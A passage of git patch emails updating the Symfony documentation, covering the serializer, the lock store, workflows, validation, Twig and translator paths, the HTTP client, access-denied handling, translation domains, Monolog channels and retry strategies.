From 49239d969d25c25a6945aa297d89d423624998f9 Mon Sep 17 00:00:00 2001
From: Pierre-Jean Leger <Caligone@users.noreply.github.com>
Date: Sat, 7 Mar 2020 10:37:29 +0100
Subject: [PATCH 0001/5766] Missing format parameter in a serialize call

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5f150a212b3..e7ed6f12550 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -625,7 +625,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"));
+    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes
@@ -1450,7 +1450,7 @@ and ``BitBucketCodeRepository`` classes:
 
 Once configured, the serializer uses the mapping to pick the correct class::
 
-    $serialized = $serializer->serialize(new GitHubCodeRepository());
+    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
     // {"type": "github"}
 
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');

From 98574f5233c680e0e0a503355fd22ec3e286b4c7 Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Mon, 8 Jun 2020 15:51:01 +1000
Subject: [PATCH 0002/5766] #37139 Updated Lock MongoDbStore note on
 readPreference

---
 components/lock.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 6dfeb5518dc..257aa2d1cd8 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -647,9 +647,10 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     locks don't expire prematurely; the lock TTL should be set with enough extra
     time in ``expireAfterSeconds`` to account for any clock drift between nodes.
 
-``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by
-MongoDbStore meaning the collection's settings will take effect. Read more
-about `Replica Set Read and Write Semantics`_ in MongoDB.
+``writeConcern`` and ``readConcern`` are not specified by MongoDbStore meaning
+the collection's settings will take effect.
+``readPreference`` is ``primary`` for all queries.
+Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
 ~~~~~~~~~~

From 9b704d57e20072b9f5bcfbe474c99d6eb1b3a771 Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Fri, 26 Jun 2020 16:09:43 +0200
Subject: [PATCH 0003/5766] Added function to get a specific transition

---
 workflow.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 376996534ba..7521705980d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -229,6 +229,8 @@ what actions are allowed on a blog post::
 
     // See all the available transitions for the post in the current state
     $transitions = $workflow->getEnabledTransitions($post);
+    // See a specific available transition for the post in the current state
+    $transition = $workflow->getEnabledTransition($post, 'publish');
 
 Accessing the Workflow in a Class
 ---------------------------------
@@ -649,6 +651,9 @@ of domain logic in your templates:
 ``workflow_transitions()``
     Returns an array with all the transitions enabled for the given object.
 
+``workflow_transition()``
+    Returns a specific transitions enabled for the given object and transition name.
+
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.
 
@@ -883,6 +888,15 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
             {% endfor %}
         </ul>
     </p>
+    <p>
+        <strong>to_review Priority</strong>
+        <ul>
+            <li>
+                to_review:
+                <code>{{ workflow_metadata(blog_post, 'priority', workflow_transition(blog_post, 'to_review')) }}</code>
+            </li>
+        </ul>
+    </p>
 
 Learn more
 ----------

From af5401a38a622e0cc55b42eca361ae7061852f9b Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 18 Aug 2020 17:44:19 +0200
Subject: [PATCH 0004/5766] Remove manual enabling of validation and validator
 annotations

---
 validation.rst | 72 +-------------------------------------------------
 1 file changed, 1 insertion(+), 71 deletions(-)

diff --git a/validation.rst b/validation.rst
index fd18f003d56..de6cfb755a3 100644
--- a/validation.rst
+++ b/validation.rst
@@ -207,77 +207,7 @@ Inside the template, you can output the list of errors exactly as needed:
 Configuration
 -------------
 
-Before using the Symfony validator, make sure it's enabled in the main config
-file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enabled: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enabled="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
-
-Besides, if you plan to use annotations to configure validation, replace the
-previous configuration by the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enable_annotations: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enable-annotations="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
+In the previous Symfony versions, enabling the validator in configuration was a requirement. It's not the case anymore, the validation is enabled by default as long as the Validator component is installed. In the same way, annotations are enabled by default if ``doctrine/annotations`` is installed.
 
 .. tip::
 

From c3b9b2b731336ff22edb83e7f2586545da6d9862 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 27 Aug 2020 11:55:52 +0200
Subject: [PATCH 0005/5766] Replace overriding twig.paths by twig.default_path

---
 configuration/override_dir_structure.rst | 12 +++++-------
 reference/configuration/twig.rst         |  2 ++
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 16c9a93ef98..38b3a0ab821 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -94,8 +94,8 @@ Override the Templates Directory
 --------------------------------
 
 If your templates are not stored in the default ``app/Resources/views/``
-directory, use the :ref:`twig.paths <config-twig-paths>` configuration option to
-define your own templates directory (or directories):
+directory, use the :ref:`twig.default_path <config-twig-default-path>` configuration option to
+define your own templates directory (use :ref:`twig.paths <config-twig-paths>` for multiple directories):
 
 .. configuration-block::
 
@@ -104,7 +104,7 @@ define your own templates directory (or directories):
         # app/config/config.yml
         twig:
             # ...
-            paths: ["%kernel.project_dir%/templates"]
+            default_path: "%kernel.project_dir%/templates"
 
     .. code-block:: xml
 
@@ -119,7 +119,7 @@ define your own templates directory (or directories):
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:path>%kernel.project_dir%/templates</twig:path>
+                <twig:default-path>%kernel.project_dir%/templates</twig:default-path>
             </twig:config>
 
         </container>
@@ -128,9 +128,7 @@ define your own templates directory (or directories):
 
         // app/config/config.php
         $container->loadFromExtension('twig', [
-            'paths' => [
-                '%kernel.project_dir%/templates',
-            ],
+            'default_path' => '%kernel.project_dir%/templates',
         ]);
 
 .. _override-web-dir:
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 88229859230..0c115fbd154 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -243,6 +243,8 @@ on. Set it to ``0`` to disable all the optimizations. You can even enable or
 disable these optimizations selectively, as explained in the Twig documentation
 about `the optimizer extension`_.
 
+.. _config-twig-default-path:
+
 ``default_path``
 ~~~~~~~~~~~~~~~~
 

From b65212f9ed1d3f56e77b4af6e0ac7224dca8e899 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Fri, 28 Aug 2020 22:22:20 +0200
Subject: [PATCH 0006/5766] Some fixes in structure overriding:

* Use `default_path` instead of `paths` to change translation directory (default_path is anyway added to paths)
* Replace `var` by `vendor` in the public directory section
---
 configuration/override_dir_structure.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index fbfa119cc14..54788bb4964 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -141,8 +141,8 @@ Override the Translations Directory
 -----------------------------------
 
 If your translation files are not stored in the default ``translations/``
-directory, use the :ref:`framework.translator.paths <reference-translator-paths>`
-configuration option to define your own translations directory (or directories):
+directory, use the :ref:`framework.translator.default_path <reference-translator-default_path>`
+configuration option to define your own translations directory (use :ref:`framework.translator.paths <reference-translator-paths>` for multiple directories):
 
 .. configuration-block::
 
@@ -152,7 +152,7 @@ configuration option to define your own translations directory (or directories):
         framework:
             translator:
                 # ...
-                paths: ["%kernel.project_dir%/i18n"]
+                default_path: "%kernel.project_dir%/i18n"
 
     .. code-block:: xml
 
@@ -168,7 +168,7 @@ configuration option to define your own translations directory (or directories):
 
             <framework:config>
                 <framework:translator>
-                    <framework:path>%kernel.project_dir%/i18n</framework:path>
+                    <framework:default-path>%kernel.project_dir%/i18n</framework:default-path>
                 </framework:translator>
             </framework:config>
 
@@ -179,9 +179,7 @@ configuration option to define your own translations directory (or directories):
         // config/packages/translation.php
         $container->loadFromExtension('framework', [
             'translator' => [
-                'paths' => [
-                    '%kernel.project_dir%/i18n',
-                ],
+                'default_path' => '%kernel.project_dir%/i18n',
             ],
         ]);
 
@@ -192,7 +190,7 @@ Override the Public Directory
 -----------------------------
 
 If you need to rename or move your ``public/`` directory, the only thing you
-need to guarantee is that the path to the ``var/`` directory is still correct in
+need to guarantee is that the path to the ``vendor/`` directory is still correct in
 your ``index.php`` front controller. If you renamed the directory, you're fine.
 But if you moved it in some way, you may need to modify these paths inside those
 files::

From c8e5dd6aa9d2f1688dbc81af4072bd909b908ed0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Sep 2020 17:02:25 +0200
Subject: [PATCH 0007/5766] Update http_client.rst

Integrating the findings of https://github.com/symfony/symfony/issues/38082#issuecomment-690529165
---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 0d8648643b7..14c73d4eb82 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -642,6 +642,11 @@ when the streams are large)::
         'body' => $formData->bodyToString(),
     ]);
 
+If you need to add a custom HTTP header to the upload, you can do::
+
+    $headers = $formData->getPreparedHeaders()->toArray();
+    $headers[] = 'X-Foo: bar';
+
 Cookies
 ~~~~~~~
 

From f41ef122c26ec0bb532dab399d2ba4c9f93af8eb Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sat, 30 May 2020 15:42:21 +0200
Subject: [PATCH 0008/5766] [HttpClient] add doc about extending and
 AsyncDecoratorTrait

---
 http_client.rst | 104 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 104 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 42a4b0388da..7c4c50932ae 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1322,6 +1322,110 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
+Extensibility
+-------------
+
+In order to extend the behavior of a base HTTP client, decoration is the way to go::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        private $decoratedClient;
+
+        public function __construct(HttpClientInterface $decoratedClient = null)
+        {
+            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        }
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // do what you want here with $method, $url and/or $options
+
+            $response = $this->decoratedClient->request();
+
+            //!\ calling any method on $response here would break async, see below for a better way
+
+            return $response;
+        }
+
+        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        {
+            return $this->decoratedClient->stream($responses, $timeout);
+        }
+    }
+
+A decorator like this one is suited for use cases where processing the
+requests' arguments is enough.
+
+By decorating the ``on_progress`` option, one can
+even implement basic monitoring of the response. But since calling responses'
+methods forces synchronous operations, doing so in ``request()`` breaks async.
+The solution then is to also decorate the response object itself.
+:class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
+:class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
+examples as a starting point.
+
+.. versionadded:: 5.2
+
+    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
+
+In order to help writing more advanced response processors, the component provides
+an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
+processing the stream of chunks as they come back from the network::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        use AsyncDecoratorTrait;
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // do what you want here with $method, $url and/or $options
+
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+
+                // do what you want with chunks, e.g. split them
+                // in smaller chunks, group them, skip some, etc.
+
+                yield $chunk;
+            };
+
+            return new AsyncResponse($this->client, $method, $url, $options, $passthru);
+        }
+    }
+
+Because the trait already implements a constructor and the ``stream()`` method,
+you don't need to add them. The ``request()`` method should still be defined;
+it shall return an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
+
+The custom processing of chunks should happen in ``$passthru``: this generator
+is where you need to write your logic. It will be called for each chunk yielded by
+the underlying client. A ``$passthru`` that does nothing would just ``yield $chunk;``.
+Of course, you could also yield a modified chunk, split the chunk into many
+ones by yielding several times, or even skip a chunk altogether by issuing a
+``return;`` instead of yielding.
+
+In order to control the stream, the chunk passthru receives an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
+argument. This context object has methods to read the current state of the
+response. It also allows altering the response stream with methods to create new
+chunks of content, pause the stream, cancel the stream, change the info of the
+response, replace the current request by another one or change the chunk passthru
+itself.
+
+Checking the test cases implemented in
+:class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
+might be a good start to get various working examples for a better understanding.
+Here are the use cases that it simulates:
+
+* retry a failed request;
+* send a preflight request, e.g. for authentication needs;
+* issue subrequests and include their content in the main response's body.
+
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse` has
+many safety checks that will throw a ``LogicException`` if the chunk passthru
+doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()`` one,
+or if a content chunk is yielded before an ``isFirst()`` one, etc.
+
 Testing HTTP Clients and Responses
 ----------------------------------
 

From 7a89d40780f775277a188aded3dc6c2afc88a4ec Mon Sep 17 00:00:00 2001
From: Simon Rolland <simon@olybe.com>
Date: Tue, 13 Oct 2020 15:01:05 +0200
Subject: [PATCH 0009/5766] Update ICU project doc website

---
 reference/forms/types/datetime.rst                | 2 +-
 reference/forms/types/options/date_format.rst.inc | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 3bafb96c57f..f5424d49cd0 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -222,4 +222,4 @@ Field Variables
 +--------------+------------+----------------------------------------------------------------------+
 
 .. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local
-.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
+.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
diff --git a/reference/forms/types/options/date_format.rst.inc b/reference/forms/types/options/date_format.rst.inc
index c7874b505bd..7a6501a6fd9 100644
--- a/reference/forms/types/options/date_format.rst.inc
+++ b/reference/forms/types/options/date_format.rst.inc
@@ -29,6 +29,6 @@ For more information on valid formats, see `Date/Time Format Syntax`_::
     (the `RFC 3339`_ format) which is the default value if you use the
     ``single_text`` widget.
 
-.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
+.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
 .. _`IntlDateFormatter::MEDIUM`: https://php.net/manual/en/class.intldateformatter.php#intl.intldateformatter-constants
 .. _`RFC 3339`: https://tools.ietf.org/html/rfc3339

From 3892e26df91cd69892c9564571073a58b0a94a41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Aug 2020 16:20:30 +0200
Subject: [PATCH 0010/5766] Clarify authentication entry point and access
 denied handler

---
 security/access_denied_handler.rst | 181 ++++++++++++++++++++++++++---
 1 file changed, 166 insertions(+), 15 deletions(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index e9e780e75ef..eed7589bee2 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -1,17 +1,116 @@
 .. index::
     single: Security; Creating a Custom Access Denied Handler
 
-How to Create a Custom Access Denied Handler
-============================================
+How to Customize Access Denied Responses
+========================================
 
-When your application throws an ``AccessDeniedException``, you can handle this exception
-with a service to return a custom response.
+In Symfony, you can throw an
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+to disallow access to the user. Symfony will handle this exception and
+generates a response based on the authentication state:
 
-First, create a class that implements
+* **If the user is not authenticated** (or authenticated anonymously), an
+  authentication entry point is used to generated a response (typically
+  a redirect to the login page or an *401 Unauthorized* response);
+* **If the user is authenticated, but does not have the required
+  permissions**, a *403 Forbidden* response is generated.
+
+Customize the Unauthorized Response
+-----------------------------------
+
+You need to create a class that implements
+:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+This interface has one method (``start()``) that is called whenever an
+unauthenticated user tries to access a protected resource::
+
+    // src/Security/AuthenticationEntryPoint.php
+    namespace App\Security;
+
+    use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Security\Core\Exception\AuthenticationException;
+    use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
+
+    class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
+    {
+        private $urlGenerator;
+        private $session;
+
+        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        {
+            $this->urlGenerator = $urlGenerator;
+            $this->session = $session;
+        }
+
+        public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
+        {
+            // add a custom flash message and redirect to the login page
+            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+
+            return new RedirectResponse($this->urlGenerator->generate('security_login'));
+        }
+    }
+
+That's it if you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`.
+Otherwise, you have to register this service in the container.
+
+Now, configure this service ID as the entry point for the firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        firewalls:
+            # ...
+
+            main:
+                # ...
+                entry_point: App\Security\AuthenticationEntryPoint
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <firewall name="main"
+                    entry-point="App\Security\AuthenticationEntryPoint"
+                >
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AuthenticationEntryPoint;
+
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    // ...
+                    'entry_point' => AuthenticationEntryPoint::class,
+                ],
+            ],
+        ]);
+
+Customize the Forbidden Response
+--------------------------------
+
+Create a class that implements
 :class:`Symfony\\Component\\Security\\Http\\Authorization\\AccessDeniedHandlerInterface`.
-This interface defines one method called ``handle()`` where you can implement whatever
-logic that should run when access is denied for the current user (e.g. send a
-mail, log a message, or generally return a custom response)::
+This interface defines one method called ``handle()`` where you can
+implement whatever logic that should execute when access is denied for the
+current user (e.g. send a mail, log a message, or generally return a custom
+response)::
 
     namespace App\Security;
 
@@ -49,11 +148,21 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <config>
-            <firewall name="main">
-                <access-denied-handler>App\Security\AccessDeniedHandler</access-denied-handler>
-            </firewall>
-        </config>
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <firewall name="main"
+                    access-denied-handler="App\Security\AccessDeniedHandler"
+                >
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
@@ -69,5 +178,47 @@ configure it under your firewall:
             ],
         ]);
 
-That's it! Any ``AccessDeniedException`` thrown by code under the ``main`` firewall
-will now be handled by your service.
+Customizing All Access Denied Responses
+---------------------------------------
+
+In some cases, you might want to customize both responses or do a specific
+action (e.g. logging) for each ``AccessDeniedException``. In this case,
+configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
+
+    // src/EventListener/AccessDeniedListener.php
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Event\ExceptionEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+
+    class AccessDeniedListener implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents(): array
+        {
+            return [
+                // the priority must be greater than the Security HTTP
+                // ExceptionListener, to make sure it's called before
+                // the default exception listener
+                KernelEvents::EXCEPTION => ['onKernelException', 2],
+            ];
+        }
+
+        public function onKernelException(ExceptionEvent $event): void
+        {
+            $exception = $event->getException();
+            if (!$exception instanceof AccessDeniedException) {
+                return;
+            }
+
+            // ... perform some action (e.g. logging)
+
+            // optionally set the custom response
+            $event->setResponse(new Response(null, 403));
+
+            // or stop propagation (prevents the next exception listeners from being called)
+            //$event->stopPropagation();
+        }
+    }

From 8e1af9d7303d2c8e7fc7e84686df7c6f782f33fc Mon Sep 17 00:00:00 2001
From: Matthew Smeets <m.smeets@performation.com>
Date: Thu, 15 Oct 2020 20:16:16 +0200
Subject: [PATCH 0011/5766] Adding more information about default translation
 domain 'messages'

---
 translation.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9a9effd3527..db50e05cb07 100644
--- a/translation.rst
+++ b/translation.rst
@@ -655,9 +655,12 @@ priority message files.
 The filename of the translation files is also important: each message file
 must be named according to the following path: ``domain.locale.loader``:
 
-* **domain**: An optional way to organize messages into groups. Unless
+* **domain**: Domains are a way to organize messages into groups. Unless
   parts of the application are explicitly separated from each other, it is
-  recommended to only use default ``messages`` domain;
+  recommended to only use default ``messages`` domain.
+
+  If no domains are explicitly defined while using the translator, Symfony 
+  will default to the ``messages`` domain (e.g. ``messages.en.yaml``)
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 

From feea39804413ee607973e2bed12f433929945744 Mon Sep 17 00:00:00 2001
From: Matthew Smeets <m.smeets@performation.com>
Date: Thu, 15 Oct 2020 20:30:28 +0200
Subject: [PATCH 0012/5766] Adding information to the monolog autowire
 documentation that specifies that the channel must be defined

---
 logging/channels_handlers.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b206c1c5137..bac0be76012 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,8 +182,10 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. For example, to inject the service
-related to the ``app`` logger channel use this:
+``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been 
+predefined in your Monolog configuration.
+
+An example to inject the service related to the ``app`` logger channel:
 
 .. code-block:: diff
 

From 19521c3a25b4d1afb3b4b8e9fe02014ac9312972 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 20 Oct 2020 09:53:08 +0200
Subject: [PATCH 0013/5766] Fix documentation about RetryStrategy

---
 http_client.rst                       |  7 ++--
 reference/configuration/framework.rst | 55 +++++++++------------------
 2 files changed, 22 insertions(+), 40 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a54e9b125a8..e0a9d6808e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -710,10 +710,9 @@ original HTTP client::
     $client = new RetryableHttpClient(HttpClient::create());
 
 The ``RetryableHttpClient`` uses a
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface` to
-decide if the request should be retried, and a
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface` to
-define the waiting time between each retry.
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface` to
+decide if the request should be retried, and to define the waiting time between
+each retry.
 
 HTTP Proxies
 ~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cdf5451d94a..a3d6e9fd95a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -140,8 +140,7 @@ Configuration
 
     * :ref:`retry_failed <reference-http-client-retry-failed>`
 
-      * `backoff_service`_
-      * `decider_service`_
+      * `retry_strategy`_
       * :ref:`enabled <reference-http-client-retry-enabled>`
       * `delay`_
       * `http_codes`_
@@ -157,8 +156,7 @@ Configuration
 
   * :ref:`retry_failed <reference-http-client-retry-failed>`
 
-    * `backoff_service`_
-    * `decider_service`_
+    * `retry_strategy`_
     * :ref:`enabled <reference-http-client-retry-enabled>`
     * `delay`_
     * `http_codes`_
@@ -780,8 +778,7 @@ will automatically retry failed HTTP requests.
         http_client:
             # ...
             retry_failed:
-                # backoff_service: app.custom_backoff
-                # decider_service:  app.custom_decider
+                # retry_strategy: app.custom_strategy
                 http_codes: [429, 500]
                 max_retries: 2
                 delay: 1000
@@ -826,21 +823,6 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
-backoff_service
-...............
-
-**type**: ``string``
-
-.. versionadded:: 5.2
-
-    The ``backoff_service`` option was introduced in Symfony 5.2.
-
-The service id used to compute the time to wait between retries. By default, it
-uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured
-with ``delay``, ``max_delay``, ``multiplier`` and ``jitter`` options. This
-class has to implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
-
 base_uri
 ........
 
@@ -909,21 +891,6 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
-decider_service
-...............
-
-**type**: ``string``
-
-.. versionadded:: 5.2
-
-    The ``decider_service`` option was introduced in Symfony 5.2.
-
-The service id used to decide if a request should be retried. By default, it
-uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\HttpStatusCodeDecider` configured
-with the ``http_codes`` option. This class has to implement
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`.
-
 delay
 .....
 
@@ -1124,6 +1091,22 @@ client and to make your tests easier.
 The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
+retry_strategy
+...............
+
+**type**: ``string``
+
+.. versionadded:: 5.2
+
+    The ``retry_strategy`` option was introduced in Symfony 5.2.
+
+The service is used to decide if a request should be retried and to compute the
+time to wait between retries. By default, it uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
+with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
+options. This class has to implement
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
+
 scope
 .....
 

From 4155cc270069850a6281c5cb4566aa3d03d94bbd Mon Sep 17 00:00:00 2001
From: michel v <michelv@gmail.com>
Date: Tue, 20 Oct 2020 10:43:45 +0200
